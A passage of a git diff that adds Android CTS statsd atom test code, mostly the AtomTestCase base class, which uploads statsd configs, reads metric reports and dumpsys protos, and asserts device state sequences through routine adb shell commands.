+        AtomsProto.SettingSnapshot snapshot = null;
+        for (AtomsProto.Atom atom : atoms) {
+            AtomsProto.SettingSnapshot settingSnapshot = atom.getSettingSnapshot();
+            if (network_mode1.equals(settingSnapshot.getName())) {
+                snapshot = settingSnapshot;
+                break;
+            }
+        }
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        // Test the data of atom.
+        assertNotNull(snapshot);
+        // Get setting value and test value type.
+        final int newNetworkMode = Integer.parseInt(
+                getDevice().executeShellCommand("settings get global " + network_mode1).trim());
+        assertThat(snapshot.getType()).isEqualTo(
+                AtomsProto.SettingSnapshot.SettingsValueType.ASSIGNED_INT_TYPE);
+        assertThat(snapshot.getBoolValue()).isEqualTo(false);
+        assertThat(snapshot.getIntValue()).isEqualTo(newNetworkMode);
+        assertThat(snapshot.getFloatValue()).isEqualTo(0f);
+        assertThat(snapshot.getStrValue()).isEqualTo("");
+        assertThat(snapshot.getUserId()).isEqualTo(0);
+
+        // Restore the setting value.
+        getDevice().executeShellCommand(
+                "settings put global " + network_mode1 + " " + originalNetworkMode);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
new file mode 100644
index 0000000..8b628cf
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/AtomTestCase.java
@@ -0,0 +1,943 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static android.cts.statsdatom.statsd.DeviceAtomTestCase.DEVICE_SIDE_TEST_APK;
+import static android.cts.statsdatom.statsd.DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.os.BatteryStatsProto;
+import android.os.StatsDataDumpProto;
+import android.service.battery.BatteryServiceDumpProto;
+import android.service.batterystats.BatteryStatsServiceDumpProto;
+import android.service.procstats.ProcessStatsServiceDumpProto;
+
+import com.android.annotations.Nullable;
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.FieldFilter;
+import com.android.internal.os.StatsdConfigProto.FieldMatcher;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.GaugeMetric;
+import com.android.internal.os.StatsdConfigProto.Predicate;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.SimplePredicate;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.internal.os.StatsdConfigProto.TimeUnit;
+import com.android.os.AtomsProto.AppBreadcrumbReported;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.AtomsProto.ProcessStatsPackageProto;
+import com.android.os.AtomsProto.ProcessStatsProto;
+import com.android.os.AtomsProto.ProcessStatsStateProto;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.DurationMetricData;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.os.StatsLog.GaugeBucketInfo;
+import com.android.os.StatsLog.GaugeMetricData;
+import com.android.os.StatsLog.CountMetricData;
+import com.android.os.StatsLog.StatsLogReport;
+import com.android.os.StatsLog.ValueMetricData;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil;
+import com.android.tradefed.util.CommandResult;
+import com.android.tradefed.util.CommandStatus;
+
+import com.google.common.collect.Range;
+import com.google.common.io.Files;
+import com.google.protobuf.ByteString;
+
+import perfetto.protos.PerfettoConfig.DataSourceConfig;
+import perfetto.protos.PerfettoConfig.FtraceConfig;
+import perfetto.protos.PerfettoConfig.TraceConfig;
+
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Comparator;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Queue;
+import java.util.Random;
+import java.util.Set;
+import java.util.function.Function;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import java.util.stream.Collectors;
+
+/**
+ * Base class for testing Statsd atoms.
+ * Validates reporting of statsd logging based on different events
+ */
+public class AtomTestCase extends BaseTestCase {
+
+    /**
+     * Run tests that are optional; they are not valid CTS tests per se, since not all devices can
+     * be expected to pass them, but can be run, if desired, to ensure they work when appropriate.
+     */
+    public static final boolean OPTIONAL_TESTS_ENABLED = false;
+
+    public static final String UPDATE_CONFIG_CMD = "cmd stats config update";
+    public static final String DUMP_REPORT_CMD = "cmd stats dump-report";
+    public static final String DUMP_BATTERY_CMD = "dumpsys battery";
+    public static final String DUMP_BATTERYSTATS_CMD = "dumpsys batterystats";
+    public static final String DUMPSYS_STATS_CMD = "dumpsys stats";
+    public static final String DUMP_PROCSTATS_CMD = "dumpsys procstats";
+    public static final String REMOVE_CONFIG_CMD = "cmd stats config remove";
+    /** ID of the config, which evaluates to -1572883457. */
+    public static final long CONFIG_ID = "cts_config".hashCode();
+
+    public static final String FEATURE_AUDIO_OUTPUT = "android.hardware.audio.output";
+    public static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+    public static final String FEATURE_BLUETOOTH = "android.hardware.bluetooth";
+    public static final String FEATURE_BLUETOOTH_LE = "android.hardware.bluetooth_le";
+    public static final String FEATURE_CAMERA = "android.hardware.camera";
+    public static final String FEATURE_CAMERA_FLASH = "android.hardware.camera.flash";
+    public static final String FEATURE_CAMERA_FRONT = "android.hardware.camera.front";
+    public static final String FEATURE_LOCATION_GPS = "android.hardware.location.gps";
+    public static final String FEATURE_PC = "android.hardware.type.pc";
+    public static final String FEATURE_PICTURE_IN_PICTURE = "android.software.picture_in_picture";
+    public static final String FEATURE_TELEPHONY = "android.hardware.telephony";
+    public static final String FEATURE_WATCH = "android.hardware.type.watch";
+    public static final String FEATURE_WIFI = "android.hardware.wifi";
+
+    // Telephony phone types
+    public static final int PHONE_TYPE_GSM = 1;
+    public static final int PHONE_TYPE_CDMA = 2;
+    public static final int PHONE_TYPE_CDMA_LTE = 6;
+
+    protected static final int WAIT_TIME_SHORT = 500;
+    protected static final int WAIT_TIME_LONG = 2_000;
+
+    protected static final long SCREEN_STATE_CHANGE_TIMEOUT = 4000;
+    protected static final long SCREEN_STATE_POLLING_INTERVAL = 500;
+
+    protected static final long NS_PER_SEC = (long) 1E+9;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        // Uninstall to clear the history in case it's still on the device.
+        removeConfig(CONFIG_ID);
+        getReportList(); // Clears data.
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        removeConfig(CONFIG_ID);
+        getDevice().uninstallPackage(DEVICE_SIDE_TEST_PACKAGE);
+        super.tearDown();
+    }
+
+    /**
+     * Determines whether logcat indicates that incidentd fired since the given device date.
+     */
+    protected boolean didIncidentdFireSince(String date) throws Exception {
+        final String INCIDENTD_TAG = "incidentd";
+        final String INCIDENTD_STARTED_STRING = "reportIncident";
+        // TODO: Do something more robust than this in case of delayed logging.
+        Thread.sleep(1000);
+        String log = getLogcatSince(date, String.format(
+                "-s %s -e %s", INCIDENTD_TAG, INCIDENTD_STARTED_STRING));
+        return log.contains(INCIDENTD_STARTED_STRING);
+    }
+
+    protected boolean checkDeviceFor(String methodName) throws Exception {
+        try {
+            installPackage(DEVICE_SIDE_TEST_APK, true);
+            runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".Checkers", methodName);
+            // Test passes, meaning that the answer is true.
+            LogUtil.CLog.d(methodName + "() indicates true.");
+            return true;
+        } catch (AssertionError e) {
+            // Method is designed to fail if the answer is false.
+            LogUtil.CLog.d(methodName + "() indicates false.");
+            return false;
+        }
+    }
+
+    /**
+     * Returns a protobuf-encoded perfetto config that enables the kernel
+     * ftrace tracer with sched_switch for 10 seconds.
+     */
+    protected ByteString getPerfettoConfig() {
+        TraceConfig.Builder builder = TraceConfig.newBuilder();
+
+        TraceConfig.BufferConfig buffer = TraceConfig.BufferConfig
+            .newBuilder()
+            .setSizeKb(128)
+            .build();
+        builder.addBuffers(buffer);
+
+        FtraceConfig ftraceConfig = FtraceConfig.newBuilder()
+            .addFtraceEvents("sched/sched_switch")
+            .build();
+        DataSourceConfig dataSourceConfig = DataSourceConfig.newBuilder()
+            .setName("linux.ftrace")
+            .setTargetBuffer(0)
+            .setFtraceConfig(ftraceConfig)
+            .build();
+        TraceConfig.DataSource dataSource = TraceConfig.DataSource
+            .newBuilder()
+            .setConfig(dataSourceConfig)
+            .build();
+        builder.addDataSources(dataSource);
+
+        builder.setDurationMs(10000);
+        builder.setAllowUserBuildTracing(true);
+
+        // To avoid being hit with guardrails firing in multiple test runs back
+        // to back, we set a unique session key for each config.
+        Random random = new Random();
+        StringBuilder sessionNameBuilder = new StringBuilder("statsd-cts-");
+        sessionNameBuilder.append(random.nextInt() & Integer.MAX_VALUE);
+        builder.setUniqueSessionName(sessionNameBuilder.toString());
+
+        return builder.build().toByteString();
+    }
+
+    /**
+     * Resets the state of the Perfetto guardrails. This avoids that the test fails if it's
+     * run too close of for too many times and hits the upload limit.
+     */
+    protected void resetPerfettoGuardrails() throws Exception {
+        final String cmd = "perfetto --reset-guardrails";
+        CommandResult cr = getDevice().executeShellV2Command(cmd);
+        if (cr.getStatus() != CommandStatus.SUCCESS)
+            throw new Exception(String.format("Error while executing %s: %s %s", cmd, cr.getStdout(), cr.getStderr()));
+    }
+
+    private String probe(String path) throws Exception {
+        return getDevice().executeShellCommand("if [ -e " + path + " ] ; then"
+                + " cat " + path + " ; else echo -1 ; fi");
+    }
+
+    /**
+     * Determines whether perfetto enabled the kernel ftrace tracer.
+     */
+    protected boolean isSystemTracingEnabled() throws Exception {
+        final String traceFsPath = "/sys/kernel/tracing/tracing_on";
+        String tracing_on = probe(traceFsPath);
+        if (tracing_on.startsWith("0")) return false;
+        if (tracing_on.startsWith("1")) return true;
+
+        // fallback to debugfs
+        LogUtil.CLog.d("Unexpected state for %s = %s. Falling back to debugfs", traceFsPath,
+                tracing_on);
+
+        final String debugFsPath = "/sys/kernel/debug/tracing/tracing_on";
+        tracing_on = probe(debugFsPath);
+        if (tracing_on.startsWith("0")) return false;
+        if (tracing_on.startsWith("1")) return true;
+        throw new Exception(String.format("Unexpected state for %s = %s", traceFsPath, tracing_on));
+    }
+
+    protected static StatsdConfig.Builder createConfigBuilder() {
+      return StatsdConfig.newBuilder()
+          .setId(CONFIG_ID)
+          .addAllowedLogSource("AID_SYSTEM")
+          .addAllowedLogSource("AID_BLUETOOTH")
+          // TODO(b/134091167): Fix bluetooth source name issue in Auto platform.
+          .addAllowedLogSource("com.android.bluetooth")
+          .addAllowedLogSource("AID_LMKD")
+          .addAllowedLogSource("AID_RADIO")
+          .addAllowedLogSource("AID_ROOT")
+          .addAllowedLogSource("AID_STATSD")
+          .addAllowedLogSource("com.android.systemui")
+          .addAllowedLogSource(DeviceAtomTestCase.DEVICE_SIDE_TEST_PACKAGE)
+          .addDefaultPullPackages("AID_RADIO")
+          .addDefaultPullPackages("AID_SYSTEM")
+          .addWhitelistedAtomIds(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER);
+    }
+
+    protected void createAndUploadConfig(int atomTag) throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, atomTag);
+        uploadConfig(conf);
+    }
+
+    protected void uploadConfig(StatsdConfig.Builder config) throws Exception {
+        uploadConfig(config.build());
+    }
+
+    protected void uploadConfig(StatsdConfig config) throws Exception {
+        LogUtil.CLog.d("Uploading the following config:\n" + config.toString());
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        getDevice().pushFile(configFile, remotePath);
+        getDevice().executeShellCommand(
+                String.join(" ", "cat", remotePath, "|", UPDATE_CONFIG_CMD,
+                        String.valueOf(CONFIG_ID)));
+        getDevice().executeShellCommand("rm " + remotePath);
+    }
+
+    protected void removeConfig(long configId) throws Exception {
+        getDevice().executeShellCommand(
+                String.join(" ", REMOVE_CONFIG_CMD, String.valueOf(configId)));
+    }
+
+    /** Gets the statsd report and sorts it. Note that this also deletes that report from statsd. */
+    protected List<EventMetricData> getEventMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        return getEventMetricDataList(reportList);
+    }
+
+    /**
+     *  Gets a List of sorted ConfigMetricsReports from ConfigMetricsReportList.
+     */
+    protected List<ConfigMetricsReport> getSortedConfigMetricsReports(
+            ConfigMetricsReportList configMetricsReportList) {
+        return configMetricsReportList.getReportsList().stream()
+                .sorted(Comparator.comparing(ConfigMetricsReport::getCurrentReportWallClockNanos))
+                .collect(Collectors.toList());
+    }
+
+    /**
+     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
+     * contain a single report).
+     */
+    protected List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
+            throws Exception {
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<EventMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getEventMetrics().getDataList());
+        }
+        data.sort(Comparator.comparing(EventMetricData::getElapsedTimestampNanos));
+
+        LogUtil.CLog.d("Get EventMetricDataList as following:\n");
+        for (EventMetricData d : data) {
+            LogUtil.CLog.d("Atom at " + d.getElapsedTimestampNanos() + ":\n" + d.getAtom().toString());
+        }
+        return data;
+    }
+
+    protected List<Atom> getGaugeMetricDataList() throws Exception {
+        return getGaugeMetricDataList(/*checkTimestampTruncated=*/false);
+    }
+
+    protected List<Atom> getGaugeMetricDataList(boolean checkTimestampTruncated) throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+
+        // only config
+        ConfigMetricsReport report = reportList.getReports(0);
+        assertThat(report.getMetricsCount()).isEqualTo(1);
+
+        List<Atom> data = new ArrayList<>();
+        for (GaugeMetricData gaugeMetricData :
+                report.getMetrics(0).getGaugeMetrics().getDataList()) {
+            assertThat(gaugeMetricData.getBucketInfoCount()).isEqualTo(1);
+            GaugeBucketInfo bucketInfo = gaugeMetricData.getBucketInfo(0);
+            for (Atom atom : bucketInfo.getAtomList()) {
+                data.add(atom);
+            }
+            if (checkTimestampTruncated) {
+                for (long timestampNs: bucketInfo.getElapsedTimestampNanosList()) {
+                    assertTimestampIsTruncated(timestampNs);
+                }
+            }
+        }
+
+        LogUtil.CLog.d("Get GaugeMetricDataList as following:\n");
+        for (Atom d : data) {
+            LogUtil.CLog.d("Atom:\n" + d.toString());
+        }
+        return data;
+    }
+
+    /**
+     * Gets the statsd report and extract duration metric data.
+     * Note that this also deletes that report from statsd.
+     */
+    protected List<DurationMetricData> getDurationMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<DurationMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getDurationMetrics().getDataList());
+        }
+
+        LogUtil.CLog.d("Got DurationMetricDataList as following:\n");
+        for (DurationMetricData d : data) {
+            LogUtil.CLog.d("Duration " + d);
+        }
+        return data;
+    }
+
+    /**
+     * Gets the statsd report and extract count metric data.
+     * Note that this also deletes that report from statsd.
+     */
+    protected List<CountMetricData> getCountMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<CountMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getCountMetrics().getDataList());
+        }
+
+        LogUtil.CLog.d("Got CountMetricDataList as following:\n");
+        for (CountMetricData d : data) {
+            LogUtil.CLog.d("Count " + d);
+        }
+        return data;
+    }
+
+    /**
+     * Gets the statsd report and extract value metric data.
+     * Note that this also deletes that report from statsd.
+     */
+    protected List<ValueMetricData> getValueMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        ConfigMetricsReport report = reportList.getReports(0);
+
+        List<ValueMetricData> data = new ArrayList<>();
+        for (StatsLogReport metric : report.getMetricsList()) {
+            data.addAll(metric.getValueMetrics().getDataList());
+        }
+
+        LogUtil.CLog.d("Got ValueMetricDataList as following:\n");
+        for (ValueMetricData d : data) {
+            LogUtil.CLog.d("Value " + d);
+        }
+        return data;
+    }
+
+    protected StatsLogReport getStatsLogReport() throws Exception {
+        ConfigMetricsReport report = getConfigMetricsReport();
+        assertThat(report.hasUidMap()).isTrue();
+        assertThat(report.getMetricsCount()).isEqualTo(1);
+        return report.getMetrics(0);
+    }
+
+    protected ConfigMetricsReport getConfigMetricsReport() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        assertThat(reportList.getReportsCount()).isEqualTo(1);
+        return reportList.getReports(0);
+    }
+
+    /** Gets the statsd report. Note that this also deletes that report from statsd. */
+    protected ConfigMetricsReportList getReportList() throws Exception {
+        try {
+            ConfigMetricsReportList reportList = getDump(ConfigMetricsReportList.parser(),
+                    String.join(" ", DUMP_REPORT_CMD, String.valueOf(CONFIG_ID),
+                            "--include_current_bucket", "--proto"));
+            return reportList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to fetch and parse the statsd output report. "
+                    + "Perhaps there is not a valid statsd config for the requested "
+                    + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
+            throw (e);
+        }
+    }
+
+    protected BatteryStatsProto getBatteryStatsProto() throws Exception {
+        try {
+            BatteryStatsProto batteryStatsProto = getDump(BatteryStatsServiceDumpProto.parser(),
+                    String.join(" ", DUMP_BATTERYSTATS_CMD,
+                            "--proto")).getBatterystats();
+            LogUtil.CLog.d("Got batterystats:\n " + batteryStatsProto.toString());
+            return batteryStatsProto;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump batterystats proto");
+            throw (e);
+        }
+    }
+
+    protected List<ProcessStatsProto> getProcStatsProto() throws Exception {
+        try {
+
+            List<ProcessStatsProto> processStatsProtoList =
+                new ArrayList<ProcessStatsProto>();
+            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
+                    ProcessStatsServiceDumpProto.parser(),
+                    String.join(" ", DUMP_PROCSTATS_CMD,
+                            "--proto")).getProcstatsNow();
+            for (android.service.procstats.ProcessStatsProto stats :
+                    sectionProto.getProcessStatsList()) {
+                ProcessStatsProto procStats = ProcessStatsProto.parser().parseFrom(
+                    stats.toByteArray());
+                processStatsProtoList.add(procStats);
+            }
+            LogUtil.CLog.d("Got procstats:\n ");
+            for (ProcessStatsProto processStatsProto : processStatsProtoList) {
+                LogUtil.CLog.d(processStatsProto.toString());
+            }
+            return processStatsProtoList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump procstats proto");
+            throw (e);
+        }
+    }
+
+    /*
+     * Get all procstats package data in proto
+     */
+    protected List<ProcessStatsPackageProto> getAllProcStatsProto() throws Exception {
+        try {
+            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
+                    ProcessStatsServiceDumpProto.parser(),
+                    String.join(" ", DUMP_PROCSTATS_CMD,
+                            "--proto")).getProcstatsOver24Hrs();
+            List<ProcessStatsPackageProto> processStatsProtoList =
+                new ArrayList<ProcessStatsPackageProto>();
+            for (android.service.procstats.ProcessStatsPackageProto pkgStast :
+                sectionProto.getPackageStatsList()) {
+              ProcessStatsPackageProto pkgAtom =
+                  ProcessStatsPackageProto.parser().parseFrom(pkgStast.toByteArray());
+                processStatsProtoList.add(pkgAtom);
+            }
+            LogUtil.CLog.d("Got procstats:\n ");
+            for (ProcessStatsPackageProto processStatsProto : processStatsProtoList) {
+                LogUtil.CLog.d(processStatsProto.toString());
+            }
+            return processStatsProtoList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump procstats proto");
+            throw (e);
+        }
+    }
+
+    /*
+     * Get all processes' procstats statsd data in proto
+     */
+    protected List<android.service.procstats.ProcessStatsProto> getAllProcStatsProtoForStatsd()
+            throws Exception {
+        try {
+            android.service.procstats.ProcessStatsSectionProto sectionProto = getDump(
+                    android.service.procstats.ProcessStatsSectionProto.parser(),
+                    String.join(" ", DUMP_PROCSTATS_CMD,
+                            "--statsd"));
+            List<android.service.procstats.ProcessStatsProto> processStatsProtoList
+                    = sectionProto.getProcessStatsList();
+            LogUtil.CLog.d("Got procstats:\n ");
+            for (android.service.procstats.ProcessStatsProto processStatsProto
+                    : processStatsProtoList) {
+                LogUtil.CLog.d(processStatsProto.toString());
+            }
+            return processStatsProtoList;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump procstats proto");
+            throw (e);
+        }
+    }
+
+    protected boolean hasBattery() throws Exception {
+        try {
+            BatteryServiceDumpProto batteryProto = getDump(BatteryServiceDumpProto.parser(),
+                    String.join(" ", DUMP_BATTERY_CMD, "--proto"));
+            LogUtil.CLog.d("Got battery service dump:\n " + batteryProto.toString());
+            return batteryProto.getIsPresent();
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dump batteryservice proto");
+            throw (e);
+        }
+    }
+
+    /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
+    protected static FieldValueMatcher.Builder createFvm(int field) {
+        return FieldValueMatcher.newBuilder().setField(field);
+    }
+
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
+        addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the given key.
+     *
+     * @param conf    configuration
+     * @param atomTag atom tag (from atoms.proto)
+     * @param fvm     FieldValueMatcher.Builder for the relevant key
+     */
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
+            FieldValueMatcher.Builder fvm)
+            throws Exception {
+        addAtomEvent(conf, atomTag, Arrays.asList(fvm));
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the given keys.
+     *
+     * @param conf   configuration
+     * @param atomId atom tag (from atoms.proto)
+     * @param fvms   list of FieldValueMatcher.Builders to attach to the atom. May be null.
+     */
+    protected void addAtomEvent(StatsdConfig.Builder conf, int atomId,
+            List<FieldValueMatcher.Builder> fvms) throws Exception {
+
+        final String atomName = "Atom" + System.nanoTime();
+        final String eventName = "Event" + System.nanoTime();
+
+        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        if (fvms != null) {
+            for (FieldValueMatcher.Builder fvm : fvms) {
+                sam.addFieldValueMatcher(fvm);
+            }
+        }
+        conf.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(atomName.hashCode())
+                .setSimpleAtomMatcher(sam));
+        conf.addEventMetric(EventMetric.newBuilder()
+                .setId(eventName.hashCode())
+                .setWhat(atomName.hashCode()));
+    }
+
+    /**
+     * Adds an atom to a gauge metric of a config
+     *
+     * @param conf        configuration
+     * @param atomId      atom id (from atoms.proto)
+     * @param gaugeMetric the gauge metric to add
+     */
+    protected void addGaugeAtom(StatsdConfig.Builder conf, int atomId,
+            GaugeMetric.Builder gaugeMetric) throws Exception {
+        final String atomName = "Atom" + System.nanoTime();
+        final String gaugeName = "Gauge" + System.nanoTime();
+        final String predicateName = "APP_BREADCRUMB";
+        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomId);
+        conf.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(atomName.hashCode())
+                .setSimpleAtomMatcher(sam));
+        final String predicateTrueName = "APP_BREADCRUMB_1";
+        final String predicateFalseName = "APP_BREADCRUMB_2";
+        conf.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(predicateTrueName.hashCode())
+                .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                        .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
+                        .addFieldValueMatcher(FieldValueMatcher.newBuilder()
+                                .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
+                                .setEqInt(1)
+                        )
+                )
+        )
+                // Used to trigger predicate
+                .addAtomMatcher(AtomMatcher.newBuilder()
+                        .setId(predicateFalseName.hashCode())
+                        .setSimpleAtomMatcher(SimpleAtomMatcher.newBuilder()
+                                .setAtomId(Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER)
+                                .addFieldValueMatcher(FieldValueMatcher.newBuilder()
+                                        .setField(AppBreadcrumbReported.LABEL_FIELD_NUMBER)
+                                        .setEqInt(2)
+                                )
+                        )
+                );
+        conf.addPredicate(Predicate.newBuilder()
+                .setId(predicateName.hashCode())
+                .setSimplePredicate(SimplePredicate.newBuilder()
+                        .setStart(predicateTrueName.hashCode())
+                        .setStop(predicateFalseName.hashCode())
+                        .setCountNesting(false)
+                )
+        );
+        gaugeMetric
+                .setId(gaugeName.hashCode())
+                .setWhat(atomName.hashCode())
+                .setCondition(predicateName.hashCode());
+        conf.addGaugeMetric(gaugeMetric.build());
+    }
+
+    /**
+     * Adds an atom to a gauge metric of a config
+     *
+     * @param conf      configuration
+     * @param atomId    atom id (from atoms.proto)
+     * @param dimension dimension is needed for most pulled atoms
+     */
+    protected void addGaugeAtomWithDimensions(StatsdConfig.Builder conf, int atomId,
+            @Nullable FieldMatcher.Builder dimension) throws Exception {
+        GaugeMetric.Builder gaugeMetric = GaugeMetric.newBuilder()
+                .setGaugeFieldsFilter(FieldFilter.newBuilder().setIncludeAll(true).build())
+                .setSamplingType(GaugeMetric.SamplingType.CONDITION_CHANGE_TO_TRUE)
+                .setMaxNumGaugeAtomsPerBucket(10000)
+                .setBucket(TimeUnit.CTS);
+        if (dimension != null) {
+            gaugeMetric.setDimensionsInWhat(dimension.build());
+        }
+        addGaugeAtom(conf, atomId, gaugeMetric);
+    }
+
+    /**
+     * Asserts that each set of states in stateSets occurs at least once in data.
+     * Asserts that the states in data occur in the same order as the sets in stateSets.
+     *
+     * @param stateSets        A list of set of states, where each set represents an equivalent
+     *                         state of the device for the purpose of CTS.
+     * @param data             list of EventMetricData from statsd, produced by
+     *                         getReportMetricListData()
+     * @param wait             expected duration (in ms) between state changes; asserts that the
+     *                         actual wait
+     *                         time was wait/2 <= actual_wait <= 5*wait. Use 0 to ignore this
+     *                         assertion.
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public void assertStatesOccurred(List<Set<Integer>> stateSets, List<EventMetricData> data,
+            int wait, Function<Atom, Integer> getStateFromAtom) {
+        // Sometimes, there are more events than there are states.
+        // Eg: When the screen turns off, it may go into OFF and then DOZE immediately.
+        assertWithMessage("Too few states found").that(data.size()).isAtLeast(stateSets.size());
+        int stateSetIndex = 0; // Tracks which state set we expect the data to be in.
+        for (int dataIndex = 0; dataIndex < data.size(); dataIndex++) {
+            Atom atom = data.get(dataIndex).getAtom();
+            int state = getStateFromAtom.apply(atom);
+            // If state is in the current state set, we do not assert anything.
+            // If it is not, we expect to have transitioned to the next state set.
+            if (stateSets.get(stateSetIndex).contains(state)) {
+                // No need to assert anything. Just log it.
+                LogUtil.CLog.i("The following atom at dataIndex=" + dataIndex + " is "
+                        + "in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+            } else {
+                stateSetIndex += 1;
+                LogUtil.CLog.i("Assert that the following atom at dataIndex=" + dataIndex + " is"
+                        + " in stateSetIndex " + stateSetIndex + ":\n"
+                        + data.get(dataIndex).getAtom().toString());
+                assertWithMessage("Missed first state").that(dataIndex).isNotEqualTo(0);
+                assertWithMessage("Too many states").that(stateSetIndex)
+                    .isLessThan(stateSets.size());
+                assertWithMessage(String.format("Is in wrong state (%d)", state))
+                    .that(stateSets.get(stateSetIndex)).contains(state);
+                if (wait > 0) {
+                    assertTimeDiffBetween(data.get(dataIndex - 1), data.get(dataIndex),
+                            wait / 2, wait * 5);
+                }
+            }
+        }
+        assertWithMessage("Too few states").that(stateSetIndex).isEqualTo(stateSets.size() - 1);
+    }
+
+    /**
+     * Removes all elements from data prior to the first occurrence of an element of state. After
+     * this method is called, the first element of data (if non-empty) is guaranteed to be an
+     * element in state.
+     *
+     * @param getStateFromAtom expression that takes in an Atom and returns the state it contains
+     */
+    public void popUntilFind(List<EventMetricData> data, Set<Integer> state,
+            Function<Atom, Integer> getStateFromAtom) {
+        int firstStateIdx;
+        for (firstStateIdx = 0; firstStateIdx < data.size(); firstStateIdx++) {
+            Atom atom = data.get(firstStateIdx).getAtom();
+            if (state.contains(getStateFromAtom.apply(atom))) {
+                break;
+            }
+        }
+        if (firstStateIdx == 0) {
+            // First first element already is in state, so there's nothing to do.
+            return;
+        }
+        data.subList(0, firstStateIdx).clear();
